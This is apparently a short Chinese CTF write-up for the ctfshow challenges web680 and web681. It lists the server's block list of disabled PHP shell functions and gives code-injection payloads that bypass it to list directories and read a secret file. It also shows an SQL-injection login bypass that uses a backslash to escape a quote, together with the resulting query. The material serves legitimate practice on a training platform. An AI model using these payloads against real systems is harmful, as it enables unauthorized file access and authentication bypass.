大赛原型
web680
看看还剩啥
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstoped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,fopen,file_get_contents,fread,file,readfile,opendir,readdir,closedir,rewinddir |
code=print_r(scandir('./')); |
code=highlight_file("secret_you_never_know"); |
code=var_dump(scandir(".")); |
code=$a=new DirectoryIterator('glob:///var/www/html/*');foreach($a as $f){echo($f->__toString()." ");} |
RCE总结
web681
不能扫目录,我们看看字典里有没有,就直接访问了
check.php
|
select count(*) from ctfshow_users where username = 'or/**/(1)#\' or nickname = 'or/**/(1)#\' |
我们添加了\就会把’进行转义
or/**/(1)#\' or nickname = |
查询语句就会变成
select count(*) from ctfshow_users where username = 'xxx'or/**/(1)#\' |
评论
ValineDisqus